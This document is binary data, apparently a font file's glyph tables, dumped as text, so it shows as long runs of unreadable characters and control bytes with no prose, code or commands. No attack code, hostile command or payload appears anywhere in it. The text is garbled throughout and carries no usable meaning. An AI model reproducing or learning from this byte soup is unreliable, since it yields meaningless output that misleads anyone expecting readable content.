,&T>�=c#]��K9.�U�����:1ʈ�%��`T?�<c"4?5̈�'8/�_ptcdrr@89@
�SMOHK�$k��$�# ,�!a�
I��F74H`O�]BA6���$��k#�(	k��N�A!� ��	";Pe"3264&.#"632#"&54632&54?'7'327!!"'&%#'7367654'77'7'&#"'676�7DD7:BB�=F"W\]8u��u����&M��,&T>�=c#]��K9.�U�����:1ʈ�%��`T?�<c"4?5̈�'8/�Av@@vAf`5(sa_t������MOHK�$k��$�# ,�!a�
I��F74H`O�]BA6���$��k#�(	k��N�A!� ��4I!#!&54?'7'327!!"'&%#'7367654'77'7'&#"'676�����&,&T>�=c#]��K9.�U�����:1ʈ�%��`T?�<c"4?5̈�'8/�2���{MOHK�$k��$�# ,�!a�
I��F74H`O�]BA6���$��k#�(	k��N�A!� ��-B7&54?'7'327!!"'&%#'7367654'77'7'&#"'676�,&T>�=c#]��K9.�U�����:1ʈ�%��`T?�<c"4?5̈�'8/�MOHK�$k��$�# ,�!a�
I��F74H`O�]BA6���$��k#�(	k��N�A!��'9HR!273!567&#2$'76+&67'#'6765'533!273+#'!"/47*�:!Jc���a�#
fi*1����1Z�a(}��y�p��Pd���!���^��t/T�T}7��5	b\V���/�V��'f::p��
?��)\ �)9��s	��s%����00����%2<J\e3 + &=%62!67#&'&#36&#&#"3274/"34?3'35732?5##!'53���a�o���P�S<��&3y:
�SO���	�B2_5N
��vbe)��PK��	L�����$=j"����Aj������O�L���5_�k��,��ߋ~y}���/�M<4{1�;C�,���[��_ei'[)$��� /:BR`j # &5%6; 65%&# !27!57&/#2#&'676+%!#'#&'47'3!27##'%!#"/6���g����^�_����b��0h�\�����{�\[:5:Qm��M�M[-��w,��ld����N��VN�G�����+�Q'����X�Yt����T��p�XY����S���mEb,�#4�'FV��� ���!�	Y�1���1��_��	U���g,1���AR27&' # &5%6367&#+.54745467263#"'#%; 65%&# ���aW�����g����^�_���Wa���+v��z�������z��w�<b��0h�\�����{�\����&����X�Yt����T����Ϳ����Pt����tP��a�p�XY����S���1��.2!2!!7&!"4#".54767267��������0����#U�q{|�}@!/(S���*E.َ��e�r(�Y�$��h?}�}|r<.�<CS�SSL�2�`�4767632"'&'&!%!!�+*T��������*+*�B�3���`�-15476762#"'&'&4767632"'&'&!%!!�T+*l+*T�q������*+*�*+*��3���`�-DHL476762#"'&'&4767632"'&'&4767632"'&'&!%!!�T+*6+*T6+*T�q������*+*f*+*a*+*��3���`�-D[_c476762#"'&'&4767632"'&'&%476762#"'&'&4767632"'&'&!%!!�T+*l+*T��T+*l+*T�q�����*+*��*+*+*+*�*+*��3���`�-D[rvz476762#"'&'&4767632"'&'&%476762#"'&'&4767632"'&'&4767632"'&'&!%!!�T+*l+*T��T+*l+*T��+*T�������*+*��*+*+*+*�*+*��*+*�B�3���`�/F]t���4767632#"'&'&%4767632#"'&'&476762#"'&'&4767632"'&'&%476762#"'&'&4767632"'&'&!%!!$+*+*��+*+*T+*l+*T��T+*l+*T�q������*+*+*+*�*+*�V*+*+*+**+*���3�����)2 $$ $54$#"4>32#"&��e����|����e�(�<X<���ħ��ñ�"<! <"#<!;����z����c�h����Ů�;��?�����B<!!<B=  ���)62 $$ $54$#"4>32#"&$2#".46��e����|����e�(�<X<���ħ��ñ�"<! <"#<!;�>@<#"<! <"#����z����c�h����Ů�;��?�����B<!!<B=  � =B<!!<B=���2 $$2>4.#"��e����|����e:<#"< !<"#;����z����c�h��� =B<!!<B= ���'2 $$2>4.#"$32>4."��e����|����e:<#"< !<"#;��"< !<"#<@;����z����c�h��� =B<!!<B= �B<!!<B=  ���7!!��(�����7!!%!!�`��x`����������M&bb�����M&bc�����N&cb�����N&cc�X��*632327#"'&#"/#'!#632327#"$#"#4<�N�FH45����26cKL53«��NKjf��ÀPF`��b
_~	]55x\�
���X��#'!#632327#"$#"#�KL53«��NKjf��ÀPF`�55x\�
���j��	'7'77	'77	''6���ƺ.�+�ŸMM�Ƹ,�,E#����?����=~Q�ǻ,�,�Ⱥ��O�Ȼ-�,q�t5�����@�������e�R32>54.#"##"'5##"$'&'0!5!5&'.4>32!!676767'%''H&(G()G'%H(�%'���V
W3WI�mu��w>DE}AB|GE=m��d^�JW4WV�s�'H''H'(H''H��`XAK|@X1(ԁ3"|�}DD}�|"	2��/
"1X@|��AX1#
�/	673&/'67&'"&'6?&'3	'	�K[]�><+G�g['fB��Be&\h�?(K?�]\K�� ��!���;<uI�@*"O�8B1"��1B8�H$L�Iu<;0���:ƕ}����.O`3254'&#"'5&547#&$54%'654'''$'67232#"'&#"5$'654%'.54>32T
$�#��AC���,����MMM�v
�A5p_9D-�����M**�	
��B@0"@R//>wA�&oc/D&3.YaQ/5"1'"����u��E62/u�= =!m-....y����	7%	 %	 32+#".=!"&'&'#&=4;7337_����%���	�8)�0/�_^�^�M^���1/� 9�53����4�<��&&<��&�*(��D>?GGzB6��C{GG?>D9/��C���}��&632#"&'.#"'#!#!#Ҹ�62�K#+~KF0�R!9'/N��x��_T����V_�T	'�NQ9;�:#8�HL"C��D��|���)�)Z)�
532>4.#";267#&=&$32735&'.4>2�2[02[24Z1/[���)'5*+�X��
A<NWX���ZXN9�dY22Yd[00�-��&皗������1��#+���UU���+ ��j�?GO277''"/&'&'7&'&'7&47'6767'676?  "&462jX+C@~L@T/!�%��%�!/T@L~@C+X+C@~L@T/!�%��%�!/T@L~@C
����l��[�[[���
�-@�2<T\E#D#F[T<3�@.����.@�2=T[F#D#E\T<3�@-�
��������ku�[[�[��%�	%,16;@HO[�3&47"7&'7&'7&'7&'54'654676767&77&547?&'"32654&'5&'.4>323#67#&"#"/&'&547&#""'6%676V �n*[�n%'ZxL0<{2;&b;</2:(�s*nW)'$o`0LP;2F<;&c:2/7LL75MLZ'&4)PNPU�(D4(43(4)"(�UPNR	(�" B"v>0&8a>!U*~EmL�K}`�?
{a�7c[
O&0>j!>a)�E~C�K�W�
={d{7�
[+M57LL75M-Z
'*''*'
Y	(�5[�J5(	��\d	(5J�[4�
	''�/7O_���������2#".54>&'32367&%2327654'&''67&'&'&'676765467654'&#"7>326323#"'##"'&'#"&'&54767&'&54767232&'&#"6&%6767&'&'&#"676&5467&'&6732767&�$$$$�OG3%V	c���c	V%4GL944m/122102/.303112.OF}6&V	e��"w?>v"�pt #8��7!vn�":;@A<:"�nx!6��6# sp%./13/.UVT\<>"$!!��	!"#">k�c	V	&6|FO	93399	<>#"#�><	 "$ZTU./43..V5$##$�59gT;&'9Z^^Z9'':Tg9�'(''&()I8:9889:Z_59eU;'(	����:8.>euvc>-7:�bccb�;7-?cwud?/8K�WZZW� **D@@D+8(':Te95^�&)(&''(�DA:AD.*!�Y[[Y�!&�!-x��67&'67&'4&6%67.'%4'6&#"&'6767&54?67&'&#"#&'#&'5&'"'67&'&47632>4.#"%2#".4>�'7,3	3%/0��),7�=*#��0*+3.22'��8 	 Yf��T,1'��').U��fY >98 "2
B2;F_  XB?2C
3" 894i�hg�ik�ce�"S�[X�VW�XZ����#e��jp�McNTvJKrZ1VlLWMI	�p
j��k%�nA
V{ww[1���1[
ww{V
@#f�d-#JM7B/"��"0C7NK",d�f#�νhh�οggQU���XX���U�S��	!!Y�,�q@��I@�,�q��Ȥ7�T��U7����S��'!57|,�q,��Iw,�q,���ɤ�窪���8�d��
%3!'#!52#"62#".54>�"��	�h9�|M463%&$$�5		���O	��D��n;�
$$$$���33'554#$/���[��Q�w�����GSG�UW
GJG���Z�*1=C&32632!!#!#!5!&"327&7&!&7326&#"6'X�P�}}��R������������?9��9�XezfH9?���A:���uut��LFF���"�~��|����|	��������-
��	
��G���P8lGrr����[0�$,8>& 67& '&'&'&!7!!! 6'&265"�u���t.77�����!�u$�l�Y�oi��������p���@qDi�����4tE�u.�����$r�l,�36����l�%e��Ug\��x��u���v��Sc?\�7��=1l�Hr-��ؤ������-9E6'#"'!!#!5!&'&326!7!%"327&7&326&#"�suuW���~Wd������P�|���oj�����p�����?9��:v8?���A:���llGr���E,
��|��|	~��LDJg\���u����������
�H���O����U(&  6&32!7!!!#!5!&y���E�ߩP�h�����p�������C������Ln[���u�����~��|��|	
����+D#"'&'&'&47>76327'7'%'27>764'&'."(F3"D"&%#}bV`ZZ^;D"&&$�[X]:3G�9���:��]��:�F=~=<Z/*~z?<Y.(�!$HS\�[V�*%%'>HS]�^X�&%�i�iD^���29�i���\=<�<92-1X?:�<91*���=X62'%'!!#5!5!5&'&'.546767''7'''7"2767>54&'&'&�4p6��9��]�.(EGGE@Z-<���81VDEGFF'1�9�T]���9�T�:��G5>+.11./:9�5>+.11./:9��\���2:�a(E�b_�E@(
����	%CE�_b�G(Hi�j��:ο�\�i�j�+.wBAw./+.wABw./���4�+F!!#"'&'.546767675!5!'	2767>54&'&'&"���<-Z@EGGEDVRbfNZ@EGGEDV18���kbbj�C9:/.11.+>5�9:/.11.+>5�疑
(@E�_b�EC%##(@E�b_�EC%	���ka��j�P/.wBAw.+/.wABw.+	��+F####"&'&'&54767>32333'7	'%32676764'&'.#"�ܖU
(@E�_b�EC%##(@E�b_�EC%	U�ܭka��j��/.wBAw.+/.wABw.+���<-Z@EGGEDVRbfNZ@EGGEDV18��k����j�C9:/.11.+>5�9:/.11.+>55�@	�����1����0432#"732654&#"������陽��������������…������5�@	
���1��0432#"�����������������K+@kk	kk���K�TX���8Y��1����04632#"&732654&#"�ϑ��ϑ�ϘuSSuuSSu��͒��ΐSuuSSvvd�PK!)7eK�RX@
*.,&"($
k3,k($kk8��������991@&"6k0k
8�<�2�<�299990Y4632632#"'#"&7323&547&#"%6547232654&#"dϑRDDR��ϑRDDR�ϘuS?>Su^222Z>?SuuS��  ͒��!!ΐSuXqpWv28ML88LM{WpqXuSSvTZ`z8Rm3#"2767>54&'&/2"'&'.5467676"2767>54&'&/2"'&'.5467676��R#)$#R#$ $LK:C.25521@=�:C.25521@=�R#)$#R#$ $LK:C.25521@=�:C.25521@=z��ZF)(JG()K�.2IF21.2FI21�F)(JG()K�.2IF21.2FI21
��J7Qk>767632"'&'.'!"'&'.546767632$"2767>54&'&'$"2767>54&'&'�#61@=HK:C.25521@=�:C.5%��'21@=�:C.25521@=HK:C.6#�R#$$#R#$$��R#)$#R#$ $5[51.2IF21.4`]21.2FI21.5[F)(GG()FF)(JG()K��R5%%%x�����r�6��׊eM�M^�x��x��V�)7654'&'575#!&54767'5!s_vR$N:�:N$Rv_���{aT,X@X,Ta{��4b\)1�%==%�1)\b4ߴ�:�`�\KD��DK\�`����-�&  6& #&y���E�ߩP�S�����C������L���"�~�{�Y��,�!#!5!326& '6 !I���(4���~u��P�����|��G�jt���� �~��|���,�	23"#"#"#5237	�>>�!����[Z����VL�����;����|��|�oJ�����,�737!!'!!#!5!'!5!{���{����~z�����z�~��z�d���z��|��{���|��|R�{|x�T%	
!	!5!	#!7!#	#T��?�?���LL�w��������J|�A�|��J��Z�t��|��J��,��$264&"&7673%
%&u�uu�>�hH]�%V��gV��YFh�ݦuu�v���#gG�έ��Ҕ���Eg���D��X�!#!5!&'&5%676'!H����fN)]�H;�bt�WUJn��|3L�u�.�:;���͢8%�|V^m3 76= '&  7654'7! '.54676! ���NΫ.8�l�?���Ϋ��NΫ�,sppp����sppp�>9�`VhhV`�"xx hVc`VhhV`cVY9�Q��N�9ss9�N^Q�9sV^�
-E  7654' 76= '& 76= '&! '.54676! ���Ϋ��NΫ��k��NΫ.8�l�?*��NΫ.8�l�?�sppp����sppp�>9ghVc`VhhV`cV�|�`VhhV`�"xx ���`VhhV`�"xx Z9�Q����N�9ss9�N^^Q�9sV^m!1?U! '&'!   '&'&76767 76= '&  7654'7! '.54676! x8����;�41�� �::���; 9٫�NΫ.8�l�?���Ϋ��NΫ�,sppp����sppp�>9d]]c�]]]�Փ`VhhV`�"xx hVc`VhhV`cVY9�Q��N�9ss9�N^Q�9sV^�!-;K[s  '&'&76767! '&'! ! '&'!   7654' 76= '& 76= '&! '.54676! K �::���; 9�8����;�41�8����;�41
��Ϋ��NΫ��k��NΫ.8�l�?*��NΫ.8�l�?�sppp����sppp�>9]]]�]]c�]]cehVc`VhhV`cV�|�`VhhV`�"xx ���`VhhV`�"xx Z9�Q����N�9ss9�N^^Q�9s���-� ,"&54632#"767'	2654&#"�@a^CF[^������������cc��Z��礡��}[D>XUAB]�~���Lޜ~g���]�����䤣�أ���lPj�'#"'&#"'&'&'&47>7632327>76&'&'&/&'&'&47>762!2!%327>764'&'.#"&#"327>764'&'&��s�*	
0$+$$$
1#*#	ZaZ%%
NT12
4 #HH
	")mR��Oe�b�

,
0
+
��
) .
$J .
%'.D"&B 1
$C
mR )K�y	
 �	!
 	V!E�dz267>54&'."#"'%"'&'.5467676;27>4.'&+"'&'.54676762%632$"267>54&'&�.&&.&m,mQ��j�P(!N!"(!	aVf&&bZ55!("!N!(P�jo�Qm,��.&&.&q



l�?W�,>&#<

A#"<
"	((	"
<"#A

<#&>,�W?~



�lOOj�3!#!"'.'&47676?6767>'.'&#"#"'.'&47>763276;%32676764'.'&#"676764'.'&#"32����eO�uRd2!	
HH# 7
	ZTN
+Za21#+$0
4$$$+$0
	'�s��	
*

	
*
O�K) Rd#!>&
3"9*$"D.'-  D! 2
. ,	T%
#�:	
&
(	I���Zx����-4H67&'&'&+"'&'&'&476767632%632
#"'%#"'&'&'&54767676;276276767654'&'&'&"276767654'&'&'&""'&'&'&547676762"'&'&'&547676762'&'&'&547654'&'&'&";276-&#"+"276767654'&5476%327%&"'&'&476762I	Q\C--%("(/*0.,+"(
/�X]�\�9��<�\�X�/"$)0*3')"*
%1*0CR[��	

		

		

		

	22				2				2				2				�%�'

&J 


&%C\d#��_*]O���hXC%&


 J&

��O]*���								�

 
")&`&"'$"/'	<%�ZS
��%
SZ�%<	/'* "%5"-($# 	��;��8\=
! ! "
���/V�C
" ! !

[uV/�+							V��^�au� 767>54&'&'&#"&54767632 '.5467&54732#"#"676767#"'&#"'67654ozwbda_f_zx��|wbdaM,krnul������spsnun���NJ*D$ l��Q$"	6*D?"5'K(2-
# �>


:72331cd툍�i`4331cd퍇�>�m��wn<;;8ro�졘��wp:;;BV0/M���8:D@*|sa 	-F(7"*=8&0!2 1-5$&
6:B4V��^�
(B\w.'%&'&"632%6767>54$2"'&'.546767" 767>54&'&'&'2 '&'&547676�?'*&$ 1�$-+h+-$F3782�**?��1 $&��>>9�|wbdabc`�zwbda_f_zx����spsnun���ˎ�spsnul��wI_�"2[$ 	�""�		��gI� $[2!v555531cd퍅�caf31cd툍�i`43d;8ro�졘��wp:;;8ro��wn<;x,A�-57'36%33#3#!2#!3#3##$'#7�$@d��5�{s�Vd�]�F0  0F���]�dV�s{�5�⒒d@�(��
j�P�P�,�P�P�`����0�
")-	!676762!"'&'&'&54!���X�$#R#+/��R���F��F$#R#$1�S����h,��		������k��-�"�s!�����|�P���476?6763&'&'&547632676767654'&547632!54'&'&54'&&#"'&/&'&'&#"#"'&'&/&'&#"&'&'&?6'&'#"'&'&#"!'476='654'&545454'327654'&'&327654'&/�%4-)"$0JK&
)7

	��	%0�'#
#6	+-L
_�_^/s4*1(
.266	|/(1	

\�
	��#:7
l�S&x�71]/~[#<$ o�_%@,�:
$";vR��	$X$+|����!5DX&PY;�9Do6�
b'n�283�eF]4T&
& /50$?- 1@&	3l
K

C"P1�	��:03<D:5XI.)D&�[+-1:
			q/A8	

g+�jl9Lp{��7654'"'&#"+"'&54?67676763276323273#5%6767'&#"6"/67#"27632327654'73654'676547&�p/l0&�J!cS%Y���E]{@C"$4>�-;%
��,(6�Y>�m��!N$X�6"/,(�4�sS?X$U�>"sJ?K(`./4�+2K2.�0>��S
�Zp0+��1^�' ��;cs /�^"|Y/
4�28ۇ��ϕl%�%ot�5oA='Y$	a���T*
''G+-
%_kj~r�}jL`І|�\g�K@/.85�c($���� (2LS>54/##326?%%3254'654'3>7632#"&547>32'%;66I�
���
��
�	}��g���
?���6��q�n

	->
9@
�H67;���
��z���h�|	��8
>��6!q���



���B5��>%+?F4&'&/76765'7!	!'!654'!4'!!$467>2"&'&!654'�
�33�
��^^^��RX�����I�#�J2�V��l�P�#�	~!8�8!~	K�pp�ph�����,��p�<(##(#id���� (2LS.#"227654&'''%'654+.#"65.'&54632#"'.6#"%	
�I66;�o�
��
��|����>?%6!��q�	

9
��		;76H�
�
��
���	|��h���>
8�6��q�m



B��X{[%G'23 %%.'&"27>7%$!"#232%"'&'.4676762%#"#�2%k��




A����������>>d�I��ID`n��S
	 
S��nG�Yn�5>5�n��)(%$#"#64'232%%&'&'&"27676�&����22�k��**�!��n`�`n��!##3�W
2327632#"'&'&5476�'(
�>� !�~��GH
".4F+�@x�H	)�0��$��'*'���23277632#"'&'&54763�'(
�e`�}{*�279HF`0@x��J��L���1 ,��A		'	7	�Ɏ�8�7��7��Ɏ�7��7��ɍ�8ɍ�?�	�t�������t��7tt7���t��7tt7��u������B2632#"'&'#"'&54767'&54763267632676�
��Q� x��� L$3��z(		
 
6X���3�������6*=P*>
"�#
������R26#"'#"'&'+"'&'#"'&547&'&54767&&5476326763276T
 �디% $$Yy�X$		��zc0+
j���:
(��̢1#:_����$
#-
�Խ=1 '2ĺ�pD�#!!!!!%!!!!!!!!#!5!36�H�V�������B���B�X���B�B�����U�H�V��P���B�X��y�B���pD�!!!!!!""��p��"���p��"�#pD�35#7!!#!5!3����r���r�s��r�spD�!!%!!!!!!���r�"��p��"�#��p��"�#Rb�!!#!5!3���p�p��E�U��l�3!!'#'!!#!!3!5@��������,r����,�,�����_��r,��,���_��>v�#!!!!!'!!!!!!!!#!5!3����h�����������m���_�|P��_��H�_��pD�K#";54&'&'&#'!326767657'&'&'.+3!76767>5{d�IB,$2$*DE�h{LGC_RQ|66R_CIJ{h�ED*$2$,BF�d{LGC_RQ��66R_CIJ�KIB`OT|87O\FGKzd�GB+%2%+BI�dzKGF\OT��87O`BHL{d�GB+%2%+BI�d����� #!!!!!373#'7#Z����A��A���:��L���lحmllm�z�l��mllm��|�}�}�|���d��� �d���}�c�����T��`�C54'&54762327632#"'&+"'&5476=#"#"'&476323(L,68x86,L �zFvd0000dvFz� L,68x86,L �zFvd0000dvFz� �zFvd0000dvFz� L,68x86,L �yFvd0110dvFy� L,68x86,LV��^��&'##"&'&'&4767>32367675&'&'.5467676236767>32#"&'&'&'#"'&'.546767675&
�
 R.-R  R-.R "	�
*!""! ((\(( !""!#%

�	" R.-R  R-.R 
�

%#!""! ((\(( !""!*�*!""! ((\(( !""!#%

�
 R.-R  R-.R "	�

%#!""! ((\(( !""!*
�	" R.-R  R-.R 
�
S��a��4&'&'&'.546767622676767>32#"&'&'&'.#"'&'.54676767>5"#"&'&'&4767>32(,$
((*& :.r06$&**&
)'De!

'd8:b&$$&b:8d'

)a@/!

')*&$6/r/6$&*)'

')?c'
&d8:b&!$&b:=_&
(bCc"
&d8:b& $&b:=_&
(a?/!

')*&$6/r/6$&*)'

')De!

'd8:b&$$&b:8d'

)a@)'
((*& :.r06$&**&
((T��`�0267632#"'&'&'!&'&'&54676763267632#"'&'#"'&'&'&5476767!6767632#"'&'"'&'&'&54767#"'&'&'&5476767632!#"'&'&'&54767#"'&'&'&476767632&'&5476767632!#"'.'&5476767632&'&54767676Z



(
&	 

	��	

<

4	��
	












%
(



�


(


��
2



	

6


��
	

	
%		

	

<


%


(


W��_�2767653"4'&'&W���spsnul������lunsps���;8ro����wn<;;<nw��or8;W��_�724676763"'&'.5!2767653"4'&'&ee\WJIKGMF[[ff[[FMGKIJW\�����spsnul������lunsps���&%JH�if�MH'&&'HM�fi�HJ%&;8ro����wn<;;<nw��or8;/����	%	%!	!/

��%�
�
%ѿ����������5��a���������l��LlV��^�	$!	!2 '&'&547676Z���¬�ì�Ӭ���spsnun���ˎ�spsnul������H��H;8ro�졘��wp:;;8ro��wn<;0����'"276767654'&'&'!	!��99000099�9900009|�k������k�-28;BA;82--28;AB;82-&������k��Ll/����	'1%	%2"'&'&'&5476767!	!/

��%�
�
%��99000099�9900009|�����������5��a�����-28;BA;82--28;AB;82-&������k��Ll0����	!''!!	!!	!Z`5�_��_�5`��/x�xx�x�/��k������kI�ٶ�ڶ�&���G��G����������l��Ll0����	3'7'3!	!7!%%!Z&|d&dd&d|&�k������k�s��/u//u/��IvIvIIvI������l��Ll�������c�0����%5%7'%!!	!�x��x�z��`�/����k������k����K���K����G�S������l��Ll2��
	'%'!!!!��>�����j���>-�����'��O^�__�^�Oq����4��4H4�"h�d��d�����0�!%
%!-�@���j���j���j���k��*������*������37'73	#'�xx�xx���.x���x�.�x�.�.x������
��������
�����pD�	#'!5!73!��G�Fd�FG���r�EG�d�G�Er��FG���q�FG�d�G�Fq���G�Ed@��L�	
		-	FO��F��c�,OO�,c��F����d�,PO�,d��G���OP��	T��`�'%%%%%%
%-���wD����{��ww�e#w��%�f{ww�����y��|���|��y����{��xx�e#w��%�f{ww���xE����y��|���|��y������������%	%	Zp/�A���pp����A/��}�}���E����T��`�	
		-	Zq�����Nqq�N������Nrq�N�����qr���T��`�%
%-Z�y�l������������l�y����������l�y��y�T��`�%%
%%-ZtGc�V���G��tt��G���V�cG��G��st��G���W�cGtsGc�pD�/3%!!%#'''%!5!%777x�o�:U���.�c��F�.�d;U�ǩo�x�o���U:�e.��E��c.���U9�o��E�.�f:U�ūo�x�o���U9�g.��F��f.���U:�o�x�o�9U���.���
��54'&5476276767632+"#"32;2#"'&'&/"'&5476=&'&'#"'&'&547676;232?&547'&#"+"'&'&54767632676'K,68x86,L
qA'C<4GW>L
�df�
L>WG4<C'CnL,68x86,M	nC'C<4GW>L
�dd�
L>WG4<C'El��wFNd0110dNFy~DzI'#4#,G2$:;$2G,#4#'I~?	yFNd0110dNFy
?~I'#4#,G2$::$2G,#4#'I�;���
��"2767>54&'&/54'&5476276767632+"#"32;2#"'&'&/"'&5476=&'&'#"'&'&547676;232?&547'&#"+"'&'&54767632676o**YK,68x86,L
qA'C<4GW>L
�df�
L>WG4<C'CnL,68x86,M	nC'C<4GW>L
�dd�
L>WG4<C'ElP####L�wFNd0110dNFy~DzI'#4#,G2$:;$2G,#4#'I~?	yFNd0110dNFy
?~I'#4#,G2$::$2G,#4#'I�;����h2?'&#"&'&47676254'&4762767>2#'"372"'&'&/"'&476="'&547>��Q!//V�Z�*nN�+G80j@6R�R6@j0/P1�N��T�P#00V�Z�,lO@W+G80j@6R�N6@j03L/�N���
]H,`,H Yc�!77�\�4OO4�V�A7�gU3�',H^
]H,`,L&3c�!77�\�4OO7�V�A7�fV4�&,H^�������67654'&"327632#"'&'&/#"'&5476=#"'&'&5476763232?'&#"#"'&'&5476763254'&5476276767632#"'&#"#"'&#"327676%32767654'&'&#"#"Z8%1T1%8�5e %ZF\+m8BS/?JV@6RTXN6@VGB1QB8n*\FZ% e53e!&ZFZ*n8BS/?JV@6R�R6@VGB1QB8m+\FZ&!e3��DA	
5<;
>
+F$�H$F+
>
;<5
	A�cJ2QD++DQ2J�� (5H,'9,J&0f�)
T|\`j4OO7g`\|T
'�g/& H,9',I4( (3J,&9-H &0f�)
T|\`j4OO4j`\|T
'�g/&J,9',H5(�""'!$(:UJJU:($!'""nF�w"2767>54&'&'767632"'"'&'.'"'&'.546767"'&'.546767632.546767632��=>343343>=�=>343343>x>%85670-),(-%8/[0!-(,)-02y/8%0%)-02y/8%-(.'&$W/:#-(,)-02;>/;),)-02;>/8%-(06{IF{6006{FI{605+'g>:c.&".c;=g'+&1N%&W'+&.c:>k#"$.c:>g'+,B:>g'+&.c;=?nF�\v����%"'&'.546767"'&'.546767632.5467676267632"'"'&'.27654&'&'&"67&'&'&'276767&5467'&'&#"32767>54&/76767>54&'&'&#"Z0%8/y20-),(-!0[/8%-(,)0-<1:3%>(-%8/|/8%-(>%85670-),(-%8/[0!-(,)-02y/8%0M�=
 H C# B/g H �/*x#$  8## H g/B �PP  $#x*/�%N1&+'g=;c."&.c:>g'.5
?=;c.&&.c;=?
5+'g>:c.&".c;=g'+&1N8GG$>

>$��c.,bB$#>

	�Ir0C

>'#>	��LM

>#$Bb,.$

	>#'>

C0rI
T��`�)T��:e��&'#"&'&'&4767>3267'&#"327%32676764'&'.#"7632#"#.4767676324676762>322##"&'"'&'.5#"'.'&467"&'&'&4767>&'&'.'&'>76?&'326767767>5&'&'.#"767>7.'&/32>7674&'&'67'&'.#"67'&'.'67676767"2767>54&'&'"'&'.54?&'2767>54'7654&'&'&"67'&54676762:�	


	��$4

4$ww4

4	�xy
��%" !()-+U$"! ((\(( !"&S+-)(! '7M"# V2% A()-.R$"! ((\(( !"(O-,*(A"#2P"# "M��
		��!

*4 2�
kk


4 2
uKK


	��
	�i2 4*

!��==
2 4


	�`_
		

wR#$$#R#$$
	

	
8
<
c !<>
	

�





8
<
d!!<>



"%UV*) !!$3R  R3&!-(-%Z& "#%(.2$( &&S+,))A!$3R  R3'A))XT$""#%(`$( " �
�



	
�i3+!x==
3
	�_`		
	��


		
�
�!+3�kk
3
uKJ

		
	�F)(GG()F�$�
		

��%33%ww33	�xy
		V��^�3N^"2767>54&'&/2"'&'.4676762 '&'&547676%
%-�z35++++++53z35++++++5pWDM69?=;9JH�DM69?=;9JHS���spsnun���ˎ�spsnul�������}���������}��(.h<;h.((.h;<h.(�"68�TN�;9"68���;9m;8ro�졘��wp:;;8ro��wn<;�}�������}�����������������"327632#"'&'&/#"'&5476=#"'&'&5476763232?'&#"#"'&'&5476763254'&5476276767632#"'&#"27654'&%&'&#"327676%327632
654'&'&#"#"Z*1%8�5e %ZF\+m8BS/?JV@6RTXN6@VGB1QB8n*\FZ% e53e!&ZFZ*n8BS/?JV@6R�R6@VGB1QB8m+\FZ&!e3�*1%8�~>
+F$�$��>
+F$H��
;<5
	A�~
;<5
	A��+DQ2J�� (5H,'9,J&0f�)
T|\`j4OO7g`\|T
'�g/& H,9',I4( (3J,&9-H &0f�)
T|\`j4OO4j`\|T
'�g/&J,9',H5(��G+DQ2J��$(:U���$(:U3�!'""��!'""���A''7'753'75377537'7'#5''#5'7#5'7'7���<��<�x��<�x�<��x�<Ć<����<��<�x��<�x�<��x�<Ć<��phMrhr��ohM��Mho���rhrMhp��phMrhr���ohM��Mho��rhrMhp��!%)-153%%
%%#'-75%77%7?5x#	<��$��	<����x���<	��$��<	#��#���������������x��̩���h����h������3�Q�h����h�P�'�c�cc�chcbbccbbgc�c��c��0�A37%37'
7'#%'#5'7#5'7'7-'7'753'7x�d��X<[�d��d�Y<\���d�x�d��[<X�d����d�\<Y�
�d��hQ���Λ�4h5Q������Q4h5���Ћ�QheQ��5���5h3Q������Q5h3���6��Q�����#"'&'67632#"'&'&547'".46767#"'&'&54767627'#".4767632&'.4676327&54767632�./56.��.65/.-/531/�.66\l\66.�//56.../j/��136\6./531/�.66./56\66.�0.65/3m6.5/.��./54///.6���\l\66\l\�6.//.65/.��6\l.//.6�\l\6\l\��6.-	a��S�.E\s"&462	7	7	'	'&'&'&5476762"'&'&547676#"'&'&47676326767632#"'&'&�X|XX|��}U��
�U���}U����U��9r99r�<%DREA 11 AERD%�<%DREA 11 AERD%,|XX|X�.�U�|J�U�~-�|U��
�~U�.<%DREA 11 AERD%�<%DREA 11 AERD%9r99r	a��S�+?Sg"&462				"'&'&476762"'&'&4767622"'&'&4767$2"'&'&4767;������i)U���)U��
)U��K)U��'.n.''.n.''.n.''.n.'�p17#((#71p17#((#7Mp17#((#71p17#((#7K������8)U��L)U��~��U)�^��U)Ip17#((#71p17#((#7��p17#((#71p17#((#7Y'.n.''.n.''.n.''.n.'	T��`�%2?KW_k+%5%3246;#"'&'7632&54?#"632'&54"/72#547"&462"'&=3`(
�`�
&��8(
��`
&*��G)*��IG��)(*(G��eR��GI��R2d2�X|XX|R2d2�*2d2((<2d2M*'��FI��*'F��e��F)*��IF��)*
(
�a�
'�U|XX|X�c(
��a
'T��`�l267632%632#"'%#"'&'"'&547#"'&54767#"'&47632&'&54763&5476Z+/#N42B4
�{�L"..$J%�(�4B+;
��N#/V/#N��
42B4��(%J$.."L�{
4B$BN#.�/#J�"�5C7/	��N".X.$M��51C5	��"J#//#J�{	5CLM$.X."N	51C!�w�J#/f����
#�+�+�A&6FVfv������
]A��]A��]A)9IYiy������
]�%��+��
+���и/��и/��и�"�01! 4$#"# 4$32632!"��������������?�q��q�?����p��G�����Q�?�r������Az����7�+��
+�
�
��
+��+�01%!#!3!���d�d�,S.��S�d�,z�87�+��+��
��+��
+�
01%!%!35!�����,d�S.��d�d�,z����	7�+��+����+��+�01%!!!���S�d�JS.��SԂ�Jz�8	7�+��	+�	���+��+�01%!!7!�����,��S.��S�d�J������	/�/01	�SS���TR���SS����SS���S����SR�����U�����"S������#�����!�����!��X��(��+�/�+�01!33����R�(n?��x(��'�+��/�+����01!##xn��R�����?���(��&�����x(��&���>�B-�DH2#"2767>5!"&54$3!57!#"'&'.5467676#�_>I-74����3�T��P>CPN�DG-2.1/&D9���88	'.*	!-8�D_��2�{��j�@F'%.3r@Md7+4V������/2&'&54676762"'&'.546767Z�y*,&'������'&%1]~|45,-++-,54|45,-++-,5�(+&a4|d��΃fz4a&$(�F*.j=<j.**.j<=j.*N��f�!;&%&5467676246767622"'&'.546767Z{���'&%1-l./&%((%&/.l-1%&'����|45,-++-,54|45,-++-,5�ġS�4a&$%%`66`%%$&a4�R���*.j=<j.**.j<=j.*n�F(!%&%&546767624676762Z��_�775EA�AD659956DA�AE577�_���q�K�6454�NN�4546�K�o�X����##"&'&'&54767>3"&'&'&54767>32���r�J�6464�NN�4646�J�p��`�684F@NLBD64:866D@NLBD668�^~*��
i654'&#"632327632!"'&5!267&'&#"#"'&54763247632327654'&547632#"�
